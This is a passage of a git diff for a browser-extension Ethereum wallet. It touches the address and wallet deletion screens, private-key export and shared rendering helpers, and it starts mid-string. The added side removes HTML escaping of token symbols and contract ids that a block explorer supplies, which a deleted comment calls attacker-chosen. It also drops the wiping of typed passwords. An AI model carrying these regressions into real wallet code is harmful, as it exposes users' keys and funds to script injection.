secret +
|
||||
" again. The scan that follows only finds addresses that have " +
|
||||
"on-chain activity, so an address that has never been used is not " +
|
||||
"found by it."
|
||||
);
|
||||
}
|
||||
|
||||
// The balance warning, or a blank line when the address holds nothing.
|
||||
//
|
||||
// A balance is a reason to be careful, not a reason to refuse: the funds are
|
||||
// at the address, not in this list, and stay there either way.
|
||||
//
|
||||
// "Holds" means ETH or any ERC-20 the wallet knows about — an address with no
|
||||
// ETH and a five-figure stablecoin position must not get the blank line on
|
||||
// the one screen whose job is to warn. The sentence names no figure of its
|
||||
// own: the rendered lines round to four decimals, so a sentence built from a
|
||||
// rounded number would report "0.0000 ETH" for an address holding real money.
|
||||
// The lines below it carry the amounts, in the same format as Home and
|
||||
// AddressDetail, followed by the USD total when there is one to give — no
|
||||
// total line at all on testnet or before the first price fetch, and no figure
|
||||
// when every holding here is one with no price, since "$0.00" directly under
|
||||
// "This address holds a balance." is a contradiction.
|
||||
function balanceWarningHtml(addr) {
|
||||
if (!addressHoldsFunds(addr)) return " ";
|
||||
const line = formatAddressTotal(getAddressValue(addr));
|
||||
const total = line
|
||||
? `<div class="text-xs text-muted mt-1">${escapeHtml(line)}</div>`
|
||||
: "";
|
||||
return (
|
||||
`<p class="mb-1">This address holds a balance. Removing it does not ` +
|
||||
`move or spend anything; the balance stays at the address.</p>` +
|
||||
balanceLinesForAddress(addr, state.trackedTokens, false) +
|
||||
total
|
||||
);
|
||||
}
|
||||
|
||||
function show(walletIdx, addrIdx) {
|
||||
const wallet = state.wallets[walletIdx];
|
||||
const addr = wallet && wallet.addresses[addrIdx];
|
||||
if (!addr) return;
|
||||
target = { walletIdx, addrIdx };
|
||||
|
||||
$("delete-address-label").textContent = "Address " + (addrIdx + 1);
|
||||
$("delete-address-wallet-name").textContent =
|
||||
wallet.name || "Wallet " + (walletIdx + 1);
|
||||
|
||||
const value = $("delete-address-value");
|
||||
value.innerHTML = renderAddressHtml(addr.address, {
|
||||
ensName: addr.ensName,
|
||||
});
|
||||
attachCopyHandlers(value);
|
||||
|
||||
$("delete-address-recovery").textContent = recoveryPathText(wallet);
|
||||
$("delete-address-balance").innerHTML = balanceWarningHtml(addr);
|
||||
|
||||
setFlash("");
|
||||
showView("delete-address-confirm");
|
||||
}
|
||||
|
||||
function init(_ctx) {
|
||||
ctx = _ctx;
|
||||
|
||||
$("btn-delete-address-back").addEventListener("click", () => {
|
||||
target = null;
|
||||
goBack();
|
||||
});
|
||||
|
||||
$("btn-delete-address-confirm").addEventListener("click", async () => {
|
||||
if (target === null) {
|
||||
setFlash("No address is selected for removal.");
|
||||
return;
|
||||
}
|
||||
|
||||
const { walletIdx, addrIdx } = target;
|
||||
if (!canRemoveAddress(state.wallets[walletIdx])) {
|
||||
setFlash(
|
||||
"This address cannot be removed, because a wallet always " +
|
||||
"keeps at least one address.",
|
||||
);
|
||||
return;
|
||||
}
|
||||
|
||||
const { removed, activeAddressChanged } = removeAddressFromState(
|
||||
state,
|
||||
walletIdx,
|
||||
addrIdx,
|
||||
);
|
||||
if (!removed) {
|
||||
setFlash("This address could not be removed.");
|
||||
return;
|
||||
}
|
||||
|
||||
target = null;
|
||||
// Save before broadcasting: the background reads the active address
|
||||
// back out of storage to build accountsChanged.
|
||||
await saveState();
|
||||
if (activeAddressChanged) broadcastActiveChanged();
|
||||
|
||||
ctx.renderWalletList();
|
||||
goBack();
|
||||
showFlash("Address removed.");
|
||||
});
|
||||
}
|
||||
|
||||
// recoveryPathText and balanceWarningHtml are exported so the two pieces of
|
||||
// copy that carry the screen's substance can be tested without a DOM; show()
|
||||
// is a one-line assignment for each.
|
||||
module.exports = { init, show, recoveryPathText, balanceWarningHtml };
|
||||
@@ -1,233 +1,86 @@
|
||||
const {
|
||||
$,
|
||||
showView,
|
||||
showFlash,
|
||||
goBack,
|
||||
clearViewStack,
|
||||
onViewLeave,
|
||||
} = require("./helpers");
|
||||
const { $, showView, showFlash, showError, hideError } = require("./helpers");
|
||||
const { state, saveState } = require("../../shared/state");
|
||||
const { decryptWithPassword } = require("../../shared/vault");
|
||||
const {
|
||||
removeWalletFromState,
|
||||
broadcastActiveChanged,
|
||||
} = require("../../shared/walletDelete");
|
||||
|
||||
let deleteWalletIndex = null;
|
||||
let lostPasswordIndex = null;
|
||||
let ctx = null;
|
||||
|
||||
// The name shown for a wallet, and on the lost-password screen the string
|
||||
// the user has to type back. One function so the two cannot disagree: a
|
||||
// confirmation that asks for a name other than the one on screen is
|
||||
// unusable.
|
||||
function displayName(walletIdx) {
|
||||
const wallet = state.wallets[walletIdx];
|
||||
return (wallet && wallet.name) || "Wallet " + (walletIdx + 1);
|
||||
}
|
||||
|
||||
// What the typed confirmation and the wallet name are compared as. HTML
|
||||
// collapses runs of whitespace when it renders the name, so a wallet named
|
||||
// "My Wallet" with two spaces DISPLAYS as "My Wallet": the user cannot
|
||||
// see the second space and cannot type a string that matches the stored
|
||||
// name. Comparing collapsed on both sides is what keeps the confirmation
|
||||
// satisfiable, on the one screen whose whole purpose is unwedging a user
|
||||
// who is already stuck. Case and surrounding space go the same way.
|
||||
function confirmKey(name) {
|
||||
return name.trim().replace(/\s+/g, " ").toLowerCase();
|
||||
}
|
||||
|
||||
// Drop the password from the DOM and the wallet selection from the
|
||||
// closure. Registered as the view-leave handler as well as run on entry,
|
||||
// so the typed password does not sit in the hidden view after the user
|
||||
// navigates away by any route, including the Settings gear.
|
||||
function clear() {
|
||||
deleteWalletIndex = null;
|
||||
$("delete-wallet-password").value = "";
|
||||
$("delete-wallet-flash").textContent = "";
|
||||
$("delete-wallet-flash").style.visibility = "hidden";
|
||||
}
|
||||
|
||||
// The lost-password screen holds no secret — a wallet name is not one —
|
||||
// but it is wiped on leave for the neighbouring reason: a typed
|
||||
// confirmation left standing in a hidden view is one click away from
|
||||
// destroying a wallet the user has since navigated off. The button is
|
||||
// re-enabled here too, so a screen left mid-delete is usable on re-entry.
|
||||
function clearLostPassword() {
|
||||
lostPasswordIndex = null;
|
||||
$("delete-wallet-lost-name-input").value = "";
|
||||
$("delete-wallet-lost-flash").textContent = "";
|
||||
$("delete-wallet-lost-flash").style.visibility = "hidden";
|
||||
const btn = $("btn-delete-wallet-lost-confirm");
|
||||
btn.disabled = false;
|
||||
btn.classList.remove("text-muted");
|
||||
}
|
||||
|
||||
function show(walletIdx) {
|
||||
clear();
|
||||
deleteWalletIndex = walletIdx;
|
||||
$("delete-wallet-name").textContent = displayName(walletIdx);
|
||||
const wallet = state.wallets[walletIdx];
|
||||
$("delete-wallet-name").textContent =
|
||||
wallet.name || "Wallet " + (walletIdx + 1);
|
||||
$("delete-wallet-password").value = "";
|
||||
hideError("delete-wallet-error");
|
||||
showView("delete-wallet-confirm");
|
||||
}
|
||||
|
||||
// The two delete screens are siblings, not parent and child: nothing is
|
||||
// pushed on the way here, and Back goes to show() rather than goBack().
|
||||
// Both then have the same Back target — Settings, the screen that pushed
|
||||
// delete-wallet-confirm — and re-entering through show() hands the confirm
|
||||
// screen its wallet selection back, which a bare goBack() onto a view
|
||||
// whose leave hook has already nulled that selection would not.
|
||||
function showLostPassword() {
|
||||
const walletIdx = deleteWalletIndex;
|
||||
if (walletIdx === null) {
|
||||
goBack();
|
||||
return;
|
||||
}
|
||||
const name = displayName(walletIdx);
|
||||
clearLostPassword();
|
||||
$("delete-wallet-lost-name").textContent = name;
|
||||
$("delete-wallet-lost-name-echo").textContent = name;
|
||||
// showView() runs the leave hook of delete-wallet-confirm, which nulls
|
||||
// deleteWalletIndex, so this screen's own selection is recorded after
|
||||
// it and not before.
|
||||
showView("delete-wallet-lost-password");
|
||||
lostPasswordIndex = walletIdx;
|
||||
}
|
||||
|
||||
// Remove the wallet and put the user somewhere sensible. Shared by both
|
||||
// routes onto this screen, so the selection repair, the site-permission
|
||||
// cleanup and the accountsChanged broadcast cannot drift apart between
|
||||
// them.
|
||||
async function finishDelete(walletIdx) {
|
||||
const { activeAddressChanged } = removeWalletFromState(state, walletIdx);
|
||||
|
||||
deleteWalletIndex = null;
|
||||
lostPasswordIndex = null;
|
||||
|
||||
if (!state.hasWallet) {
|
||||
clearViewStack();
|
||||
await saveState();
|
||||
// Save before broadcasting: the background reads the active
|
||||
// address back out of storage to build accountsChanged.
|
||||
if (activeAddressChanged) broadcastActiveChanged();
|
||||
showView("welcome");
|
||||
return;
|
||||
}
|
||||
|
||||
await saveState();
|
||||
if (activeAddressChanged) broadcastActiveChanged();
|
||||
// Reset stack to [main] so Settings back goes home.
|
||||
// Use require() lazily to avoid circular dependency
|
||||
// (settings.js requires deleteWallet.js).
|
||||
clearViewStack();
|
||||
state.viewStack.push("main");
|
||||
ctx.renderWalletList();
|
||||
const settings = require("./settings");
|
||||
settings.show();
|
||||
showFlash("Wallet deleted.");
|
||||
}
|
||||
|
||||
function init(_ctx) {
|
||||
ctx = _ctx;
|
||||
|
||||
onViewLeave("delete-wallet-confirm", clear);
|
||||
onViewLeave("delete-wallet-lost-password", clearLostPassword);
|
||||
|
||||
// No wipe here: goBack() routes through showView(), which runs the
|
||||
// leave hook.
|
||||
$("btn-delete-wallet-back").addEventListener("click", () => {
|
||||
goBack();
|
||||
});
|
||||
|
||||
// The escape hatch, and deliberately not gated on anything a user who
|
||||
// has lost the password cannot produce. A password in front of
|
||||
// DISCARDING a secret protects nobody: an attacker at the popup who
|
||||
// wants the wallet gone can uninstall the extension, so the only
|
||||
// person such a gate stops is the owner who forgot it — and before
|
||||
// this route existed that owner could neither delete the wallet nor
|
||||
// import its recovery phrase again, because AddWallet refuses the xpub
|
||||
// as a duplicate while the wallet is still stored.
|
||||
$("btn-delete-wallet-lost-password").addEventListener("click", () => {
|
||||
showLostPassword();
|
||||
});
|
||||
|
||||
$("btn-delete-wallet-lost-back").addEventListener("click", () => {
|
||||
const walletIdx = lostPasswordIndex;
|
||||
if (walletIdx === null) {
|
||||
goBack();
|
||||
return;
|
||||
}
|
||||
show(walletIdx);
|
||||
});
|
||||
|
||||
$("btn-delete-wallet-lost-confirm").addEventListener("click", async () => {
|
||||
if (lostPasswordIndex === null) {
|
||||
$("delete-wallet-lost-flash").textContent =
|
||||
"No wallet selected for deletion.";
|
||||
$("delete-wallet-lost-flash").style.visibility = "visible";
|
||||
return;
|
||||
}
|
||||
|
||||
// Case, surrounding spaces and repeated inner spaces are not part
|
||||
// of the confirmation; see confirmKey(). This asks whether the
|
||||
// user knows which wallet they are on; it is not a secret, and
|
||||
// refusing "wallet 2" for "Wallet 2" would only teach the user to
|
||||
// distrust the control.
|
||||
const typed = $("delete-wallet-lost-name-input").value;
|
||||
const expected = displayName(lostPasswordIndex);
|
||||
if (confirmKey(typed) !== confirmKey(expected)) {
|
||||
$("delete-wallet-lost-flash").textContent =
|
||||
"That is not the name of this wallet. Type " +
|
||||
expected +
|
||||
" to confirm.";
|
||||
$("delete-wallet-lost-flash").style.visibility = "visible";
|
||||
return;
|
||||
}
|
||||
|
||||
const btn = $("btn-delete-wallet-lost-confirm");
|
||||
btn.disabled = true;
|
||||
btn.classList.add("text-muted");
|
||||
|
||||
// finishDelete() navigates, and the leave hook re-enables the
|
||||
// button and wipes the typed name on the way out.
|
||||
await finishDelete(lostPasswordIndex);
|
||||
deleteWalletIndex = null;
|
||||
ctx.showSettingsView();
|
||||
});
|
||||
|
||||
$("btn-delete-wallet-confirm").addEventListener("click", async () => {
|
||||
const pw = $("delete-wallet-password").value;
|
||||
if (!pw) {
|
||||
$("delete-wallet-flash").textContent =
|
||||
"Please enter your password.";
|
||||
$("delete-wallet-flash").style.visibility = "visible";
|
||||
showError("delete-wallet-error", "Please enter your password.");
|
||||
return;
|
||||
}
|
||||
|
||||
if (deleteWalletIndex === null) {
|
||||
$("delete-wallet-flash").textContent =
|
||||
"No wallet selected for deletion.";
|
||||
$("delete-wallet-flash").style.visibility = "visible";
|
||||
showError(
|
||||
"delete-wallet-error",
|
||||
"No wallet selected for deletion.",
|
||||
);
|
||||
return;
|
||||
}
|
||||
|
||||
const btn = $("btn-delete-wallet-confirm");
|
||||
btn.disabled = true;
|
||||
btn.classList.add("text-muted");
|
||||
|
||||
const walletIdx = deleteWalletIndex;
|
||||
const wallet = state.wallets[walletIdx];
|
||||
|
||||
// Verify password against the wallet's encrypted data
|
||||
try {
|
||||
await decryptWithPassword(wallet.encryptedSecret, pw);
|
||||
} catch {
|
||||
$("delete-wallet-flash").textContent =
|
||||
"That password is incorrect. Please try again.";
|
||||
$("delete-wallet-flash").style.visibility = "visible";
|
||||
btn.disabled = false;
|
||||
btn.classList.remove("text-muted");
|
||||
} catch (_e) {
|
||||
showError("delete-wallet-error", "Wrong password.");
|
||||
return;
|
||||
}
|
||||
|
||||
await finishDelete(walletIdx);
|
||||
// Collect addresses to clean up from allowedSites/deniedSites
|
||||
const addresses = (wallet.addresses || []).map((a) => a.address);
|
||||
|
||||
// Remove wallet
|
||||
state.wallets.splice(walletIdx, 1);
|
||||
|
||||
// Clean up site permissions for deleted addresses
|
||||
for (const addr of addresses) {
|
||||
delete state.allowedSites[addr];
|
||||
delete state.deniedSites[addr];
|
||||
}
|
||||
|
||||
deleteWalletIndex = null;
|
||||
|
||||
if (state.wallets.length === 0) {
|
||||
// No wallets left — reset selection and show welcome
|
||||
state.selectedWallet = null;
|
||||
state.selectedAddress = null;
|
||||
state.activeAddress = null;
|
||||
await saveState();
|
||||
showView("welcome");
|
||||
} else {
|
||||
// Switch to first wallet if deleted wallet was active
|
||||
state.selectedWallet = 0;
|
||||
state.selectedAddress = 0;
|
||||
state.activeAddress =
|
||||
state.wallets[0].addresses[0]?.address || null;
|
||||
await saveState();
|
||||
ctx.renderWalletList();
|
||||
ctx.showSettingsView();
|
||||
showFlash("Wallet deleted.");
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
@@ -1,174 +0,0 @@
|
||||
// Private key export for a single address.
|
||||
//
|
||||
// The key controls the address outright — anyone holding it can move every
|
||||
// token in it, from any device, forever — so this screen is handled under
|
||||
// the same rules as the recovery phrase screen (./showPhrase.js):
|
||||
//
|
||||
// 1. Nothing is decrypted, no key is derived, and nothing is written into
|
||||
// the DOM until decryptWithPassword has accepted the password.
|
||||
// 2. Leaving the screen by any path wipes it, via the onViewLeave hook,
|
||||
// and a decrypt still in flight when that happens is discarded
|
||||
// instead of written (revealGeneration).
|
||||
// 3. The key never reaches the logger. This module deliberately does not
|
||||
// import src/shared/log.js.
|
||||
//
|
||||
// The key is also never assigned to `state`, so it cannot be persisted to
|
||||
// extension storage, and "export-privkey" is excluded from RESTORABLE_VIEWS
|
||||
// so the popup can never reopen onto it.
|
||||
|
||||
const {
|
||||
$,
|
||||
showView,
|
||||
showFlash,
|
||||
flashCopyFeedback,
|
||||
goBack,
|
||||
onViewLeave,
|
||||
pushCurrentView,
|
||||
renderAddressHtml,
|
||||
attachCopyHandlers,
|
||||
} = require("./helpers");
|
||||
const { state } = require("../../shared/state");
|
||||
const { decryptWithPassword } = require("../../shared/vault");
|
||||
const { getSignerForAddress } = require("../../shared/wallet");
|
||||
const makeBlockie = require("ethereum-blockies-base64");
|
||||
|
||||
const VIEW = "export-privkey";
|
||||
|
||||
let walletIndex = null;
|
||||
let addressIndex = null;
|
||||
|
||||
// Bumped by every clear(), which is what leaving the screen runs. reveal()
|
||||
// captures it before awaiting the decrypt and refuses to touch the DOM if
|
||||
// it has moved: a decrypt still in flight when the screen is left would
|
||||
// otherwise write the key *after* the wipe, with nothing scheduled to wipe
|
||||
// it again, leaving it in the hidden view for the life of the popup.
|
||||
let revealGeneration = 0;
|
||||
|
||||
// True only if the reveal that captured `generation` is still the live one:
|
||||
// the screen has not been left, cleared, or re-entered for another address
|
||||
// since it started.
|
||||
function isCurrentReveal(generation) {
|
||||
return (
|
||||
generation === revealGeneration &&
|
||||
walletIndex !== null &&
|
||||
addressIndex !== null &&
|
||||
state.currentView === VIEW
|
||||
);
|
||||
}
|
||||
|
||||
function fail(message) {
|
||||
$("export-privkey-flash").textContent = message;
|
||||
$("export-privkey-flash").style.visibility = "visible";
|
||||
}
|
||||
|
||||
// Wipe every trace of the key and drop the address selection. Safe to call
|
||||
// when nothing was ever revealed, and safe to call twice.
|
||||
function clear() {
|
||||
walletIndex = null;
|
||||
addressIndex = null;
|
||||
revealGeneration += 1;
|
||||
$("export-privkey-value").textContent = "";
|
||||
$("export-privkey-password").value = "";
|
||||
$("export-privkey-result").classList.add("hidden");
|
||||
$("export-privkey-password-section").classList.remove("hidden");
|
||||
$("export-privkey-flash").textContent = "";
|
||||
$("export-privkey-flash").style.visibility = "hidden";
|
||||
}
|
||||
|
||||
function show(walletIdx, addrIdx) {
|
||||
const wallet = state.wallets[walletIdx];
|
||||
const addr = wallet && wallet.addresses[addrIdx];
|
||||
if (!addr) {
|
||||
showFlash("That address is no longer available.");
|
||||
return;
|
||||
}
|
||||
clear();
|
||||
walletIndex = walletIdx;
|
||||
addressIndex = addrIdx;
|
||||
|
||||
const blockieEl = $("export-privkey-jazzicon");
|
||||
blockieEl.innerHTML = "";
|
||||
const img = document.createElement("img");
|
||||
img.src = makeBlockie(addr.address);
|
||||
img.width = 48;
|
||||
img.height = 48;
|
||||
img.style.imageRendering = "pixelated";
|
||||
img.style.borderRadius = "50%";
|
||||
blockieEl.appendChild(img);
|
||||
|
||||
$("export-privkey-title").textContent =
|
||||
wallet.name + " — Address " + (addrIdx + 1);
|
||||
const addrContainer = $("export-privkey-dot").parentElement;
|
||||
addrContainer.innerHTML = renderAddressHtml(addr.address);
|
||||
attachCopyHandlers(addrContainer);
|
||||
|
||||
// Pushed here rather than by the caller: this function can return
|
||||
// without navigating, and a push that happened anyway would leave an
|
||||
// entry on the stack that no screen transition matches.
|
||||
pushCurrentView();
|
||||
showView(VIEW);
|
||||
}
|
||||
|
||||
async function reveal() {
|
||||
const password = $("export-privkey-password").value;
|
||||
if (!password) {
|
||||
fail("Please enter your password.");
|
||||
return;
|
||||
}
|
||||
if (walletIndex === null) {
|
||||
fail("No address is selected.");
|
||||
return;
|
||||
}
|
||||
const wallet = state.wallets[walletIndex];
|
||||
|
||||
const btn = $("btn-export-privkey-confirm");
|
||||
btn.disabled = true;
|
||||
btn.classList.add("text-muted");
|
||||
const generation = revealGeneration;
|
||||
try {
|
||||
const secret = await decryptWithPassword(
|
||||
wallet.encryptedSecret,
|
||||
password,
|
||||
);
|
||||
// The only suspension point in this view, and the gate on the only
|
||||
// place a secret is written: if the screen was left while the
|
||||
// decrypt ran, the wipe has already happened, so the key is not
|
||||
// even derived, let alone written.
|
||||
if (!isCurrentReveal(generation)) return;
|
||||
const signer = getSignerForAddress(wallet, addressIndex, secret);
|
||||
$("export-privkey-password").value = "";
|
||||
$("export-privkey-password-section").classList.add("hidden");
|
||||
$("export-privkey-value").textContent = signer.privateKey;
|
||||
$("export-privkey-result").classList.remove("hidden");
|
||||
$("export-privkey-flash").textContent = "";
|
||||
$("export-privkey-flash").style.visibility = "hidden";
|
||||
} catch {
|
||||
if (!isCurrentReveal(generation)) return;
|
||||
fail("That password is incorrect. Please try again.");
|
||||
} finally {
|
||||
btn.disabled = false;
|
||||
btn.classList.remove("text-muted");
|
||||
}
|
||||
}
|
||||
|
||||
function init() {
|
||||
onViewLeave(VIEW, clear);
|
||||
|
||||
// No wipe here: goBack() routes through showView(), which runs the
|
||||
// leave hook. A per-button wipe would only cover this one path.
|
||||
$("btn-export-privkey-back").addEventListener("click", () => {
|
||||
goBack();
|
||||
});
|
||||
|
||||
$("btn-export-privkey-confirm").addEventListener("click", reveal);
|
||||
|
||||
$("export-privkey-value").addEventListener("click", () => {
|
||||
const key = $("export-privkey-value").textContent;
|
||||
if (!key) return;
|
||||
navigator.clipboard.writeText(key);
|
||||
showFlash("Copied!");
|
||||
flashCopyFeedback($("export-privkey-value"));
|
||||
});
|
||||
}
|
||||
|
||||
module.exports = { init, show };
|
||||
@@ -1,29 +1,19 @@
|
||||
// Shared DOM helpers used by all views.
|
||||
//
|
||||
// Escaping rule for every view in this directory, since they all build
|
||||
// markup by concatenation: any VALUE interpolated into an innerHTML string
|
||||
// goes through escapeHtml(), whatever its provenance looks like today. The
|
||||
// only interpolations left bare are markup FRAGMENTS this code just built
|
||||
// (a rendered dot, an icon, a composed row), which escaping would turn into
|
||||
// visible angle brackets, and locally computed numbers and loop indices.
|
||||
// The distinction is meant to be greppable: an unescaped `${` next to a
|
||||
// name that reads like data is a defect.
|
||||
|
||||
// escapeHtml lives in src/shared/html.js, where the escape and the
|
||||
// reasoning behind it are; it is re-exported below so views keep importing
|
||||
// it from here.
|
||||
const { escapeHtml } = require("../../shared/html");
|
||||
const { isDebug } = require("../../shared/log");
|
||||
const { formatUsd, getPrice } = require("../../shared/prices");
|
||||
const { state, saveState, currentNetwork } = require("../../shared/state");
|
||||
const { displaySymbol } = require("../../shared/symbolDisplay");
|
||||
const { markViewRendered } = require("../viewRouter");
|
||||
const { DEBUG } = require("../../shared/constants");
|
||||
const {
|
||||
formatUsd,
|
||||
getPrice,
|
||||
getAddressValueUsd,
|
||||
} = require("../../shared/prices");
|
||||
const { state, saveState } = require("../../shared/state");
|
||||
|
||||
// When views are added, removed, or transitions between them change,
|
||||
// update the view-navigation documentation in README.md to match.
|
||||
const VIEWS = [
|
||||
"welcome",
|
||||
"add-wallet",
|
||||
"import-key",
|
||||
"main",
|
||||
"address",
|
||||
"address-token",
|
||||
@@ -36,33 +26,14 @@ const VIEWS = [
|
||||
"add-token",
|
||||
"settings",
|
||||
"delete-wallet-confirm",
|
||||
"delete-wallet-lost-password",
|
||||
"delete-address-confirm",
|
||||
"settings-addtoken",
|
||||
"transaction",
|
||||
"approve-site",
|
||||
"approve-tx",
|
||||
"approve-sign",
|
||||
"export-privkey",
|
||||
"show-phrase",
|
||||
// Shown by src/popup/views/stateRecovery.js when the stored profile
|
||||
// cannot be read. It is never reached through showView() — by then the
|
||||
// state singleton this file writes on every navigation refuses to be read
|
||||
// — but it is listed so that every view-hiding loop covers it.
|
||||
"state-recovery",
|
||||
];
|
||||
|
||||
// Cleanup callbacks for views that hold a secret in the DOM. The view
|
||||
// registers one for itself and showView() runs it whenever that view is
|
||||
// navigated away from, so the secret is wiped no matter which control
|
||||
// caused the navigation — "Back", the settings gear, or a jump from
|
||||
// anywhere else. A per-button clear would only cover the one path.
|
||||
const viewLeaveHandlers = new Map();
|
||||
|
||||
function onViewLeave(name, fn) {
|
||||
viewLeaveHandlers.set(name, fn);
|
||||
}
|
||||
|
||||
function $(id) {
|
||||
return document.getElementById(id);
|
||||
}
|
||||
@@ -70,21 +41,14 @@ function $(id) {
|
||||
function showError(id, msg) {
|
||||
const el = $(id);
|
||||
el.textContent = msg;
|
||||
el.style.visibility = "visible";
|
||||
el.classList.remove("hidden");
|
||||
}
|
||||
|
||||
function hideError(id) {
|
||||
const el = $(id);
|
||||
el.textContent = "";
|
||||
el.style.visibility = "hidden";
|
||||
$(id).classList.add("hidden");
|
||||
}
|
||||
|
||||
function showView(name) {
|
||||
const leaving = state.currentView;
|
||||
if (leaving && leaving !== name) {
|
||||
const onLeave = viewLeaveHandlers.get(leaving);
|
||||
if (onLeave) onLeave();
|
||||
}
|
||||
for (const v of VIEWS) {
|
||||
const el = document.getElementById(`view-${v}`);
|
||||
if (el) {
|
||||
@@ -93,89 +57,13 @@ function showView(name) {
|
||||
}
|
||||
clearFlash();
|
||||
state.currentView = name;
|
||||
// A view's show() ends here, so this is where the Back path learns the
|
||||
// view is no longer the blank template from index.html and must not be
|
||||
// rendered a second time. See viewRouter.js.
|
||||
markViewRendered(name);
|
||||
saveState();
|
||||
updateDebugBanner(name);
|
||||
}
|
||||
|
||||
// Create or update the debug/insecure warning banner.
|
||||
// Called on every view switch and after the settings debug toggle changes.
|
||||
// The banner is shown when the compile-time DEBUG constant is true OR when
|
||||
// the user has enabled runtime debug mode via the settings easter egg, OR
|
||||
// when the active network is a testnet.
|
||||
function updateDebugBanner(viewName) {
|
||||
const debug = isDebug();
|
||||
const net = currentNetwork();
|
||||
const show = debug || net.isTestnet;
|
||||
let banner = document.getElementById("debug-banner");
|
||||
if (show) {
|
||||
if (!banner) {
|
||||
banner = document.createElement("div");
|
||||
banner.id = "debug-banner";
|
||||
banner.style.cssText =
|
||||
"background:#c00;color:#fff;text-align:center;font-size:10px;padding:1px 0;font-family:monospace;position:sticky;top:0;z-index:9999;";
|
||||
document.body.prepend(banner);
|
||||
}
|
||||
const suffix = viewName ? " (" + viewName + ")" : "";
|
||||
if (debug && net.isTestnet) {
|
||||
banner.textContent = "DEBUG / INSECURE [TESTNET]" + suffix;
|
||||
} else if (net.isTestnet) {
|
||||
banner.textContent = "[TESTNET]" + suffix;
|
||||
} else {
|
||||
banner.textContent = "DEBUG / INSECURE" + suffix;
|
||||
}
|
||||
} else if (banner) {
|
||||
banner.remove();
|
||||
if (DEBUG) {
|
||||
const banner = document.getElementById("debug-banner");
|
||||
if (banner) {
|
||||
banner.textContent = "DEBUG / INSECURE (" + name + ")";
|
||||
}
|
||||
}
|
||||
|
||||
// Callback that renders a view being navigated BACK onto. Set once by
|
||||
// index.js via setBackRenderer(), which routes the view through the same
|
||||
// per-view render and data guards restoreView() uses.
|
||||
//
|
||||
// It answers true when it took the navigation — the view is rendered and
|
||||
// shown, or its backing data was gone and it fell back — and false for a
|
||||
// view the popup does not render from persisted state. Those can only be
|
||||
// on the stack from this page load, because the stack is filtered on load,
|
||||
// so they have already been rendered and only need unhiding.
|
||||
let _renderBack = null;
|
||||
|
||||
function setBackRenderer(fn) {
|
||||
_renderBack = fn;
|
||||
}
|
||||
|
||||
// Push the current view onto the navigation stack so goBack() can
|
||||
// return to it. Call this before any forward navigation.
|
||||
function pushCurrentView() {
|
||||
if (state.currentView) {
|
||||
state.viewStack.push(state.currentView);
|
||||
}
|
||||
}
|
||||
|
||||
// Pop the navigation stack and show the previous view. If the stack
|
||||
// is empty, fall back to the main (home) view.
|
||||
function goBack() {
|
||||
let target;
|
||||
if (state.viewStack.length > 0) {
|
||||
target = state.viewStack.pop();
|
||||
} else {
|
||||
target = "main";
|
||||
}
|
||||
// A popped view is landed on, not navigated to. If the popup has been
|
||||
// closed and reopened since the view was pushed, nothing has ever
|
||||
// rendered it in this page load and its template is still blank, so it
|
||||
// has to be rendered here rather than merely unhidden.
|
||||
if (_renderBack && _renderBack(target)) return;
|
||||
showView(target);
|
||||
}
|
||||
|
||||
// Clear the entire navigation stack (used when resetting to root,
|
||||
// e.g. after adding or deleting a wallet).
|
||||
function clearViewStack() {
|
||||
state.viewStack = [];
|
||||
}
|
||||
|
||||
let flashTimer = null;
|
||||
@@ -197,44 +85,17 @@ function showFlash(msg, duration = 2000) {
|
||||
}, duration);
|
||||
}
|
||||
|
||||
// One row of the balance list: symbol, quantity, fiat value.
|
||||
//
|
||||
// `symbol` is the ERC-20's own symbol() as the block explorer reported it,
|
||||
// so it is attacker-chosen markup until it has been through escapeHtml, and
|
||||
// attacker-chosen length until it has been through displaySymbol. This is
|
||||
// the row that issue #307 was reported against: every screen that lists a
|
||||
// holding renders through here.
|
||||
//
|
||||
// `amount` is null for a holding whose scale nothing knows
|
||||
// (https://git.eeqj.de/sneak/AutistMask/issues/349). There is no quantity to
|
||||
// print for it and no fiat value to derive from one, and printing 0.0000 for
|
||||
// a real holding is the failure this whole rule exists to prevent, so the row
|
||||
// says so instead.
|
||||
// A stored token balance as a number, or null when there is no number in it.
|
||||
// balances.js writes null for a holding whose scale nothing knows, and this
|
||||
// keeps that null from becoming a zero one dereference later.
|
||||
function unknownableAmount(balance) {
|
||||
if (balance == null) return null;
|
||||
const n = parseFloat(balance);
|
||||
return Number.isFinite(n) ? n : null;
|
||||
}
|
||||
|
||||
function balanceLine(symbol, amount, price, tokenId) {
|
||||
const qty = amount === null ? "quantity unknown" : amount.toFixed(4);
|
||||
const usd =
|
||||
price && amount !== null
|
||||
? formatUsd(amount * price) || " "
|
||||
: " ";
|
||||
// tokenId is a contract address out of the same explorer JSON, and it
|
||||
// lands inside a quoted attribute.
|
||||
const tokenAttr = tokenId ? ` data-token="${escapeHtml(tokenId)}"` : "";
|
||||
const qty = amount.toFixed(4);
|
||||
const usd = price ? formatUsd(amount * price) || " " : " ";
|
||||
const tokenAttr = tokenId ? ` data-token="${tokenId}"` : "";
|
||||
const clickClass = tokenId
|
||||
? " cursor-pointer hover:bg-hover balance-row"
|
||||
: "";
|
||||
return (
|
||||
`<div class="flex text-xs${clickClass}"${tokenAttr}>` +
|
||||
`<span class="flex justify-between" style="width:42ch;max-width:100%">` +
|
||||
`<span>${escapeHtml(displaySymbol(symbol))}</span>` +
|
||||
`<span>${symbol}</span>` +
|
||||
`<span>${qty}</span>` +
|
||||
`</span>` +
|
||||
`<span class="text-right text-muted flex-1">${usd}</span>` +
|
||||
@@ -251,12 +112,7 @@ function balanceLinesForAddress(addr, trackedTokens, showZero) {
|
||||
);
|
||||
const seen = new Set();
|
||||
for (const t of addr.tokenBalances || []) {
|
||||
// A null balance is a holding of an unstatable amount, not a holding
|
||||
// of zero, so the show-zero setting has no say over it: hiding it
|
||||
// would be asserting the zero nobody established. Anything that does
|
||||
// not parse to a finite number is unknown for the same reason — the
|
||||
// `|| "0"` this replaced turned both into a confident zero.
|
||||
const bal = unknownableAmount(t.balance);
|
||||
const bal = parseFloat(t.balance || "0");
|
||||
if (bal === 0 && !showZero) continue;
|
||||
html += balanceLine(
|
||||
t.symbol,
|
||||
@@ -280,25 +136,6 @@ function balanceLinesForAddress(addr, trackedTokens, showZero) {
|
||||
return html;
|
||||
}
|
||||
|
||||
// Whether an address holds anything at all: ETH or any ERC-20 the wallet
|
||||
// knows about. Deliberately unrounded — the rendered lines round to four
|
||||
